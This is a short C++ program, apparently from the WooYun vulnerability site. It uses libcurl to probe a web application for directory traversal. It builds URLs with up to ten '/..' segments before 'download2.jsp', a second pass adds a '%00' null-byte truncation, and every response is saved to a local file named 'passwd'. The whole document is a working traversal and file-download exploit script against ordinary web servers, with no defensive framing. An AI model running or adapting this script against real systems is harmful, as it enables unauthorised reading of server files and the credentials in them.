WooYun.org

#define CURL_STATICLIB  //必须在包含curl.h前定义
        #include<string>
	#include<stdio.h>
	#include"curl/curl.h"
	#include<iostream>
	#include<Windows.h>
	//以下四项是必须的
	#pragma comment ( lib, "libcurl.lib" )
	#pragma comment ( lib, "ws2_32.lib" )
	#pragma comment ( lib, "winmm.lib" )
	#pragma comment ( lib, "wldap32.lib" )
	using namespace std;
	size_t write_callback(void *ptr, size_t size, size_t nmemb, FILE *stream) {
		size_t written = fwrite(ptr, size, nmemb, stream);
		return written;
	}
	
	int main()
	{
	  CURL *curl;
	  CURLcode res;
	  FILE *fp;
          char s[200];
	  char temp[300];
	  scanf("%s", s);
	  strcpy(temp, s);
	  strcat(temp,"/download2.jsp");
	  printf("%s\n", temp);
	  curl = curl_easy_init();
	  if(curl) 
	  {
		fopen_s(&fp, "passwd", "ab+"); 
		res = curl_easy_setopt(curl, CURLOPT_URL, temp);
		res = curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);  
		res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);; // fp当作参数传递给write_callback函数
		res = curl_easy_perform(curl);
		long retcode = 0;
                curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE , &retcode);
		if (retcode == 200 || retcode == 304 || retcode == 204)
		{
            printf("YES\n");
		}
		else
	   {
            printf("NO\n");
		}
		/* always cleanup */
		curl_easy_cleanup(curl);
		fclose(fp);
		system("pause");
	  }
	  for(int i = 1; i <= 10; i++)
	  {
		  strcpy(temp, s);
		  for(int j = 1; j <= i; j++)
		  strcat(temp, "/..");
		  strcat(temp,"/download2.jsp");
		  printf("%s\n", temp);
		  curl = curl_easy_init();
		  if(curl) 
		  {
			fopen_s(&fp, "passwd", "ab+"); 
			res = curl_easy_setopt(curl, CURLOPT_URL, temp);
		res=curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,write_callback);
			res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);; // fp当作参数传递给write_callback函数
			res = curl_easy_perform(curl);
			long retcode = 0;
			curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE , &retcode);
			if (retcode == 200 || retcode == 304 || retcode == 204)
			{
				printf("YES\n");
			}
			else
		   {
				printf("NO\n");
			}
			/* always cleanup */
			curl_easy_cleanup(curl);
			fclose(fp);
			system("pause");
	       }
	  }
	  /* 00截断 */
	  for(int i = 1; i <= 10; i++)
	  {
		  strcpy(temp, s);
		  for(int j = 1; j <= i; j++)
	          strcat(temp, "/..");
		  strcat(temp,"/download2.jsp%00");
		  printf("%s\n", temp);
		  curl = curl_easy_init();
		  if(curl) 
		  {
			fopen_s(&fp, "passwd", "ab+"); 
			res = curl_easy_setopt(curl, CURLOPT_URL, temp);
		res=curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,write_callback);  
			res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);; // fp当作参数传递给write_callback函数
			res = curl_easy_perform(curl);
			long retcode = 0;
			curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE , &retcode);
			if (retcode == 200 || retcode == 304 || retcode == 204)
			{
				printf("YES\n");
			}
			else
		       {
				printf("NO\n");
			}
			/* always cleanup */
			curl_easy_cleanup(curl);
			fclose(fp);
			system("pause");
	       }
	  }
	  return 0;
	}